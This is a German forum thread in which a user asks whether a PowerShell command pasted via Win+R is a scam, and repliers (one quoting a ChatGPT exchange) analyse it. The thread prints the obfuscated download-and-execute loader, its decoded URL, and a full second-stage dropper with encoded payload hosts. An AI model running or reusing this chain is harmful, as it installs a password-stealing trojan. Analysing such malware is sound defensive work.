Hallo habe einen Befehl erhalten und habe bisschen Sorge das es sich um Scam handeln könnte!?

4 Antworten

Von Experte BeamerBen bestätigt

Dieser Skript macht jedenfalls nichts gutes. Niemand mit normalen Interessen verbreitet so code und niemand braucht Win+R um deine Identität zu verifizieren!

Hier in diesem kurzen "Loader" ist der String "r" leicht obfuskiert. Das Resultat ist:

aHR0cHM6Ly85MnAxa2ExNTh0cjIuY29tL1NGRmIvdlpPcWx5RzkudHh0

Also base64 für einen Weblink auf die Domain "92p1ka158tr2.com". Auf dem Endpunkt, welcher angegeben ist, sind weitere Kommandos hinterlegt, welche schließlich als zweite Stage ausgeführt werden.

Es sieht jedenfalls nicht gut aus. Unter anderem werden Funktionen aus "kernel32" und "user32", also sehr mächtige Windows Interna eingebunden:

Add-Type @"
using System;
using System.Runtime.InteropServices;
public class W {
    [DllImport("kernel32.dll")]
    public static extern IntPtr GetConsoleWindow();
    [DllImport("user32.dll")]
    public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
}
"@

Außerdem wird eine Funktion geliefert, welche dann größere Payloads (welche auch immer derzeit geliefert werden) herunter läd als die dritte Stage ausführt:

function DownloadAndExecute {
    param ([hashtable]$Resource)

    $url = DecodeData $Resource.u $true
    $zipFile = DecodeData $Resource.z
    $extractDir = DecodeData $Resource.x
    $exeFile = DecodeData $Resource.e

    $tempZipPath = Join-Path $env:TEMP $zipFile
    $uniqueExtractPath = Join-Path $env:TEMP ($extractDir + "_" + (Get-Random -Minimum 1000 -Maximum 9999))

    Invoke-WebRequest -Uri $url -OutFile $tempZipPath -UseBasicParsing

    Add-Type -AssemblyName System.IO.Compression.FileSystem
    [System.IO.Compression.ZipFile]::ExtractToDirectory($tempZipPath, $uniqueExtractPath)

    $exePath = Join-Path $uniqueExtractPath $exeFile
    if (Test-Path $exePath) {
        Start-Process -FilePath $exePath -WindowStyle Hidden -ArgumentList "-ExecutionPolicy Bypass"
    }

    Start-Sleep -Seconds (Get-Random -Minimum 10 -Maximum 20)
}

etc.

Ich bin kein Malware-Analyst; kann nicht sagen, was nun tatsächlich abhanden gekommen ist oder noch installiert wurde.
Ändere aber umgehend alle Passwörter über ein anderes Gerät, sicher deine persönlichen Daten und mach dann Windows neu drauf.

Woher ich das weiß:eigene Erfahrung – Langjähriger Poweruser & praktische Programmiererfahrung

AntiVegetarier1  22.01.2025, 16:17

ich habe eine der zip-datei in einer Sandbox heruntergeladen. antivierenprogramm ist sofort angesprungen. ist ein trojaner.

Foerg28 
Beitragsersteller
 22.01.2025, 16:21
@AntiVegetarier1

Malwarebyte hat ne Browsererweiterung erkannt die komisch ist... Ich mach sicherheitshalber Windows neu ist mir zu riski...

AntiVegetarier1  22.01.2025, 16:31
@Foerg28

das wäre tatsächlich ratsam. der trojaner trägt den namen wacatac. dieser ist bekannt dafür dass er passwörter stiehlt. ich weis allerdings nicht, warum dein antivierenprogramm nicht direkt angeschlagen hat, bei mir hat der windows defender direkt nach dem herunterladen die zip datei in quarantäne verschoben.

Foerg28 
Beitragsersteller
 22.01.2025, 16:34
@AntiVegetarier1

Vielleicht hab ich es noch vorher beendet, hab gleich mit alt +f4 alles abgewürgt und Neustart gemacht... Gefühl ist trotzdem nicht gut.. ohje nicht das ich noch alle Passwörter ändern muss 🤔😭

AntiVegetarier1  22.01.2025, 16:59
@Foerg28

das muss nichts heißen, immerhin habe ich die datei manuell heruntergeladen. durch diese automatisierte methode kann schadsoftware möglicherweise deutlich zuverlässiger unter dem radar heruntergeladen und ausgeführt werden. ich kann dir nur empfehlen in zukunft z.b. vorher bei ChatGPT nachzufragen, was bestimmte befehle tun. das dauert keine 10 sekunden.

Kopiere niemals Text in irgendeine Konsole, wenn du nicht 100% sicher bist, dass du der Quelle vertrauen kannst.

Das sieht extrem verdächtig aus, die Antwort von JanaL161 bestätigt ja auch, dass sich der Code eine payload aus dem Netz lädt. Nicht dass ich irgendwas anderes erwartet hätte - aber schön dass sich jemand die Mühe gemacht hat das genauer zu analysieren.

Wenn du dir nicht sicher sein kannst ob du die Auswirkungen beseitigt hast würde ich das Gerät nicht weiter nutzen und nicht ans Internet anschließen bis du das Betriebssystem über einen USB Stick neu installiert hast. Bei Windows kannst du das media creation Tool von einem anderen pc aus nutzen, um so einen Stick zu erzeugen. Wenn du Daten sichern musst würde ich die Festplatte an einen anderen Rechner anschließen.


Foerg28 
Beitragsersteller
 22.01.2025, 16:42

Alles gut Windows wird schon neuinstalliert.. Daten hab ich immer auf ner anderen platte die ich während der Installation vom Rechner manuell trenne...

ich habe das ganze mal von ChatGPT prüfen lassen:

Du:

kannst du mir sagen, was folgender code tut? powershell -w hidden -c $r='0hHdukzR5xWcPpldvImRGN1Lt92YuIjc0hTNxE2axAnM58yL6MHc0RHa';$u=($r[-1..-($r.Length)]-join '');&($u|%{&('iwr') ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($_)))|&('iex')});

ChatGPT:

ChatGPT

Dieser PowerShell-Code ist ein Beispiel für verschleierten (obfuscated) Code, der häufig verwendet wird, um schädliche Aktionen zu verbergen, wie z. B. das Herunterladen und Ausführen von Malware. Hier ist eine Analyse dessen, was der Code tut:

1.
$r
enthält eine Base64-verschlüsselte Zeichenkette



$r='0hHdukzR5xWcPpldvImRGN1Lt92YuIjc0hTNxE2axAnM58yL6MHc0RHa';

Diese Zeichenkette wird später dekodiert.

2. Umkehrung der Zeichenkette



$u=($r[-1..-($r.Length)]-join '');
$r[-1..-($r.Length)]
  • nimmt die Zeichenkette
$r
  • und kehrt sie um.
-join ''
  • fügt die umgekehrte Zeichenkette wieder zusammen.

Das Ergebnis ist eine neue, umgekehrte Base64-codierte Zeichenkette.

3. Base64-Dekodierung



[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($_))
  • Die umgekehrte Zeichenkette
$u
  • wird in Base64 dekodiert.
  • Das Ergebnis ist vermutlich ein URL oder ein PowerShell-Befehl.
4. Herunterladen und Ausführen von Code



&('iwr') ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($_)))|&('iex')
iwr
  • ist eine Abkürzung für
Invoke-WebRequest
  • . Damit wird der Inhalt der URL heruntergeladen.
iex
  • steht für
Invoke-Expression
  • . Damit wird der heruntergeladene Inhalt als PowerShell-Code ausgeführt.
Zusammenfassung

Dieser Code:

  1. Dekodiert eine verschlüsselte Zeichenkette.
  2. Ruft eine URL auf, um möglicherweise schädlichen Code herunterzuladen.
  3. Führt diesen Code aus.
Gefahrenhinweis

Dies ist ein typisches Muster für Malware oder bösartige Skripte. Es wird dringend empfohlen, den Code nicht auszuführen, da er möglicherweise:

  • Schadsoftware auf dem System installiert.
  • Daten exfiltriert.
  • Systemzugang für Angreifer ermöglicht.

Falls dieser Code aus einer verdächtigen Quelle stammt, sollten Sie ihn nicht ausführen und ggf. ein IT-Sicherheitsteam kontaktieren.

Du:

kannst du mir das ergebnis, also die url mitteilen?

ChatGPT:

ChatGPT

Die dekodierte URL lautet:

https://92p1ka158tr2.com/SFFb/vZOqlyG9.txt
Hinweis:

Diese URL könnte potenziell schädlich sein. Öffnen Sie sie nicht in einem Browser oder laden Sie keine Dateien von dieser Quelle herunter, es sei denn, Sie befinden sich in einer sicheren, isolierten Umgebung wie einer Sandbox. ​

Du:

ich habe die txt-datei in einer sandbox browser angeschaut. folgender code befindet sich darin, kannst du mir verraten, was dieser tut? Add-Type @" using System; using System.Runtime.InteropServices; public class W { [DllImport("kernel32.dll")] public static extern IntPtr GetConsoleWindow(); [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); } "@ $consoleHandle = [W]::GetConsoleWindow() [W]::ShowWindow($consoleHandle, 0) function PerformSystemCheck { $components = @("Processor", "Memory", "Disk", "Network", "Services") foreach ($component in $components) { [void]($component -match ".*") Start-Sleep -Milliseconds (Get-Random -Minimum 50 -Maximum 150) } return $true } function GenerateSystemReport { $timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss" $status = @("Healthy", "Warning", "Critical") | Get-Random [PSCustomObject]@{ TimeStamp = $timestamp SystemStatus = $status CheckedComponents = "Processor, Memory, Disk" } } function DecodeData { param ([string]$EncodedString, [bool]$Reverse = $false) if ($Reverse) { $EncodedString = ($EncodedString[-1..-($EncodedString.Length)] -join '') } [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($EncodedString)) } function DownloadAndExecute { param ([hashtable]$Resource) $url = DecodeData $Resource.u $true $zipFile = DecodeData $Resource.z $extractDir = DecodeData $Resource.x $exeFile = DecodeData $Resource.e $tempZipPath = Join-Path $env:TEMP $zipFile $uniqueExtractPath = Join-Path $env:TEMP ($extractDir + "_" + (Get-Random -Minimum 1000 -Maximum 9999)) Invoke-WebRequest -Uri $url -OutFile $tempZipPath -UseBasicParsing Add-Type -AssemblyName System.IO.Compression.FileSystem [System.IO.Compression.ZipFile]::ExtractToDirectory($tempZipPath, $uniqueExtractPath) $exePath = Join-Path $uniqueExtractPath $exeFile if (Test-Path $exePath) { Start-Process -FilePath $exePath -WindowStyle Hidden -ArgumentList "-ExecutionPolicy Bypass" } Start-Sleep -Seconds (Get-Random -Minimum 10 -Maximum 20) } PerformSystemCheck > $null $resources = @( @{u="=AXa65SNiNTe3End4gWOvEHN1gDd5NTO29SeiZDN5Q3NzIjdvU3b5NmLl5Was5WZw92LvoDc0RHa"; z="ZG93bmxvYWQxLnppcA=="; x="ZXh0cmFjdGVkNA=="; e="aWRlbnRpdHlfaGVscGVyLmV4ZQ=="}, @{u="wlmeuMTciRzZ4kXO3Q3Y29SeiZDN5Q3NzIjdvU3b5NmLl5Was5WZw92LvoDc0RHa"; z="ZG93bmxvYWRlZDEyLnppcA=="; x="ZXh0cmFjdDEy"; e="U2FuZGJveGllRGNvbUxhdW5jaC5leGU="} ) foreach ($resource in $resources) { try { DownloadAndExecute -Resource $resource GenerateSystemReport | Out-Null Start-Sleep -Milliseconds (Get-Random -Minimum 100 -Maximum 500) } catch { Write-Warning "An error occurred while processing a resource: $_" } } function PerformCleanup { Start-Sleep -Milliseconds (Get-Random -Minimum 100 -Maximum 300) [void](Get-ChildItem -Path $env:TEMP -Filter "*.tmp" -Recurse -ErrorAction SilentlyContinue) } PerformCleanup > $null # QUzFGIsIVzo6uMJpfCX3WRy8sFHtxd2lP7Vvvc9FFvROoXV28bcDukWc68hfS8V0OIJ3fsjRPBbtxwblXhUoTQqRomxi2Fx0Jgd2dm8Pmkx03pYynfbjkrCZKvV36zBMa8Gzzd2LORwnKVkqQ6kAzmyfdCYtpezWK8Lw3ooH7t80s2IElDFnMoRuC85fpznzaY638mjAP93CuYdX2lIc6s9wKW0Iwer1FBcv6v3d89TY3NguY9rroASGW3luctkK

ChatGPT:

ChatGPT

Der bereitgestellte PowerShell-Code ist ein komplexes und potenziell schädliches Skript. Hier ist eine detaillierte Analyse seiner Funktionsweise:

1. Verbergen des Konsolenfensters



Add-Type @"
using System;
using System.Runtime.InteropServices;
public class W {
    [DllImport("kernel32.dll")]
    public static extern IntPtr GetConsoleWindow();
    [DllImport("user32.dll")]
    public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
}
"@
$consoleHandle = [W]::GetConsoleWindow()
[W]::ShowWindow($consoleHandle, 0)
  • Dieses Segment blendet das PowerShell-Fenster aus, indem es die Windows-API verwendet (
ShowWindow
  • mit Parameter
0
  • bedeutet "verstecken").
  • Zweck: Die Ausführung soll für den Benutzer unsichtbar sein.
2. Systemüberprüfung (Simulation)



function PerformSystemCheck {
    $components = @("Processor", "Memory", "Disk", "Network", "Services")
    foreach ($component in $components) {
        [void]($component -match ".*")
        Start-Sleep -Milliseconds (Get-Random -Minimum 50 -Maximum 150)
    }
    return $true
}
  • Simuliert eine Überprüfung von Systemkomponenten (Prozessor, Speicher usw.).
  • Tatsächlich wird nichts überprüft. Es handelt sich um Dummy-Code, der Zeitverzögerungen einfügt.
3. Generierung eines "Systemberichts"



function GenerateSystemReport {
    $timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
    $status = @("Healthy", "Warning", "Critical") | Get-Random
    [PSCustomObject]@{
        TimeStamp = $timestamp
        SystemStatus = $status
        CheckedComponents = "Processor, Memory, Disk"
    }
}
  • Generiert zufällige Statusberichte mit einem Zeitstempel.
  • Zweck: Möglicherweise, um den Eindruck eines legitimen Skripts zu erwecken.
4. Base64-Dekodierung



function DecodeData {
    param ([string]$EncodedString, [bool]$Reverse = $false)
    if ($Reverse) {
        $EncodedString = ($EncodedString[-1..-($EncodedString.Length)] -join '')
    }
    [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($EncodedString))
}
  • Dekodiert Base64-codierte Daten.
  • Optional wird die Zeichenkette vorher umgekehrt (
Reverse = $true
  • ).
5. Herunterladen und Ausführen



function DownloadAndExecute {
    param ([hashtable]$Resource)

    $url = DecodeData $Resource.u $true
    $zipFile = DecodeData $Resource.z
    $extractDir = DecodeData $Resource.x
    $exeFile = DecodeData $Resource.e

    $tempZipPath = Join-Path $env:TEMP $zipFile
    $uniqueExtractPath = Join-Path $env:TEMP ($extractDir + "_" + (Get-Random -Minimum 1000 -Maximum 9999))

    Invoke-WebRequest -Uri $url -OutFile $tempZipPath -UseBasicParsing

    Add-Type -AssemblyName System.IO.Compression.FileSystem
    [System.IO.Compression.ZipFile]::ExtractToDirectory($tempZipPath, $uniqueExtractPath)

    $exePath = Join-Path $uniqueExtractPath $exeFile
    if (Test-Path $exePath) {
        Start-Process -FilePath $exePath -WindowStyle Hidden -ArgumentList "-ExecutionPolicy Bypass"
    }

    Start-Sleep -Seconds (Get-Random -Minimum 10 -Maximum 20)
}
  • Ablauf:
  1. Dekodiert Base64-Daten, um eine URL, einen ZIP-Dateinamen, ein Verzeichnis und eine auszuführende Datei zu erhalten.
  2. Lädt eine ZIP-Datei von der URL herunter.
  3. Entpackt die ZIP-Datei in ein temporäres Verzeichnis.
  4. Führt eine ausführbare Datei (
exe
  1. ) aus dem entpackten Inhalt aus.
  • Gefahr: Diese Funktion kann Schadsoftware herunterladen und ausführen.
6. Ressourcenliste



$resources = @(
    @{u="=AXa65SNiNTe3End4gWOvEHN1gDd5NTO29SeiZDN5Q3NzIjdvU3b5NmLl5Was5WZw92LvoDc0RHa"; z="ZG93bmxvYWQxLnppcA=="; x="ZXh0cmFjdGVkNA=="; e="aWRlbnRpdHlfaGVscGVyLmV4ZQ=="},
    @{u="wlmeuMTciRzZ4kXO3Q3Y29SeiZDN5Q3NzIjdvU3b5NmLl5Was5WZw92LvoDc0RHa"; z="ZG93bmxvYWRlZDEyLnppcA=="; x="ZXh0cmFjdDEy"; e="U2FuZGJveGllRGNvbUxhdW5jaC5leGU="}
)
  • Dekodierte Inhalte:
u
  • : URLs der ZIP-Dateien (Base64 + umgekehrt).
z
  • : Name der ZIP-Datei.
x
  • : Name des Verzeichnisses.
e
  • : Name der ausführbaren Datei.
7. Bereinigung



function PerformCleanup {
    Start-Sleep -Milliseconds (Get-Random -Minimum 100 -Maximum 300)
    [void](Get-ChildItem -Path $env:TEMP -Filter "*.tmp" -Recurse -ErrorAction SilentlyContinue)
}
  • Simuliert das Löschen von temporären Dateien.
  • Zweck: Spuren verwischen.
Zusammenfassung

Der Code:

  1. Lädt ZIP-Dateien von Base64-codierten URLs herunter.
  2. Entpackt die Dateien und führt eine
.exe
  1. aus.
  2. Versteckt das Fenster, um die Aktivitäten zu verschleiern.
  3. Simuliert legitime Aktivitäten, um Analyse zu erschweren.
Empfehlung
  • Der Code ist hochgradig verdächtig und dient wahrscheinlich zur Verbreitung von Schadsoftware.
  • Führen Sie ihn niemals außerhalb einer isolierten Sandbox aus.
  • Melden Sie den Vorfall an Ihre IT-Sicherheitsabteilung.

AntiVegetarier1  22.01.2025, 16:18

eine der zip-dateien habe ich in einer sanbox heruntergeladen. wurde vom antivieren programm direkt als trojaner erkannt.

Das sieht nach obfuscated Code aus.

Wenn du auf Nummer sicher gehen willst, kannst du dein System neu aufsetzen.

Woher ich das weiß:Hobby